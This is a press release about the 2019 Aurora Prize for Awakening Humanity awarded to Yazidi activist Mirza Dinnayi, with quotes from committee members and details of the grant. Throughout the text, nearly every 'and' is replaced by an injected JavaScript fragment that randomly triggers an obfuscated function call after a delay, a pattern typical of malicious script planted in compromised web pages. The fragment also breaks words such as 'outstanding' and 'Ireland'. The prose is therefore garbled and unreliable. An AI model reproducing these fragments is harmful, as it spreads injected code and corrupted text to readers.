The fourth annual Aurora Prize for Awakening Humanity was awarded today to Mirza Dinnayi, Co-Founder andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Director of Luftbrücke Irak (Air Bridge Iraq). Driven by his passion to save lives, the Yazidi activist has found a way to overcome numerous bureaucratic andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and logistic obstacles to help the most vulnerable members of the Yazidi community during numerous conflicts in Syria andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Iraq. He was named the 2019 Aurora Laureate at the Ceremony in Yerevan that was held during the Aurora Forum. The Aurora Prize is granted by the Aurora Humanitarian Initiative on behalf of the survivors of the Armenian Genocide andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in gratitude to their saviors.

Tom Catena, Aurora Humanitarian Initiative Chair andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 2017 Aurora Prize Laureate, praised the 2019 Aurora Prize Laureate Mirza Dinnayi by saying: “What makes Mirza Dinnayi an outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding human being is the fact he couldn’t live in good conscience knowing that good people are left behind, that the innocent are suffering. Trying to help others while facing an unspeakable evil can be challenging andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and frustrating, but he never wavered. I am delighted to congratulate Mirza Dinnayi with being awarded with the Prize andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and welcome him to the Aurora family.”

As the 2019 Aurora Prize Laureate, Mirza Dinnayi will receive a $1,000,000 grant, through which he is given the opportunity to continue the cycle of giving by supporting organizations that have inspired his work. He has chosen to donate the funds to three organizations that provide medical care andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rehabilitation to victims of ISIS terror:

• Air Bridge Iraq;
• SEED Foundation;
• Shai Fund.

Vartan Gregorian, Co-Founder of the Aurora Prize andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Member of the Selection Committee, added: “The Aurora Humanitarian Initiative empowers those who risk everything for the sake of others andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and show extraordinary courage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and conviction in situations of adversity, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mirza Dinnayi is a perfect example of that. He embodies the power of compassion, of personal commitment, of a burning desire to save lives. As one of the Aurora Co-Founders andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a member of the Selection Committee, I am very proud that our shared vision has helped showcase the work of Mirza Dinnayi, who now, without doubt, will be able to achieve even more.”

Working on behalf of the Yazidi community, Mirza Dinnayi has dedicated his whole life to saving the victims of the Iraq war, evacuating women andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and children from territories controlled by ISIS andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and providing those tortured andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and violated with rehabilitation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and support. It was Dinnayi who brought to Germany the future Sakharov Prize Laureate Lamya Haji Bashar. Today, she is a renowned human rights activist andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has one of Aurora’s scholarships named after her.

Leading international humanitarian figures andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Aurora Prize Selection Committee members, including Nobel Laureates Shirin Ebadi andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Leymah Gbowee; former president of Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mary Robinson; former foreign minister of Australia andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and President Emeritus of the International Crisis Group Gareth Evans; former president of Mexico Ernesto Zedillo andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Director of the Institute of Global Health Innovation at Imperial College London andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Chair of the Aurora Prize Selection Committee Lord Ara Darzi gathered in Armenia to attend the inaugural Aurora Forum andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and celebrate the 2019 Aurora Prize Laureate.

Previous Aurora Prize Laureates include several noted international humanitarians – Burundian activist Marguerite Barankitse (2016), American physician andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and missionary tom-catena-%E2%80%93-2017-aurora-prize-laureate”>Dr. Tom Catena (2017) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Rohingya lawyer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and human rights campaigner Kyaw Hla Aung (2018).

Nobel Prize Laureate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a member of the Aurora Prize Selection Committee Leymah Gbowee commented: “The very name of the Aurore Prize for Awakening Humanity contains the most important message of this unique award. Right now, the world feels the need for humanity to rise andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for people to step up. Mirza Dinnayi, whose courage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and selflessness are a credit to his people, is doing just that: taking care of women andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and children, who suffer the most in a conflict situation, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and putting himself at risk to save others. What an outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding humanitarian.”

The Aurora Humanitarian Initiative also honored the contributions of the other two 2019 Aurora Humanitarians who received a $50,000 grant each: Zannah Bukar Mustapha, Director andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Founder of Future Prowess Islamic Foundation in Nigeria, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Huda Al-Sarari, Yemeni lawyer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and activist.

The 2019 Aurora Prize Ceremony was part of the Aurora Forum, held in Armenia on October 14–21, 2019 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and convening thought leaders andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and change-makers from across the world to share knowledge, perspective andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ideas, which together can deliver practical action andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and change. The Forum far-reaching agenda is driven by partner institutions with a shared commitment to address global challenges andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and local development.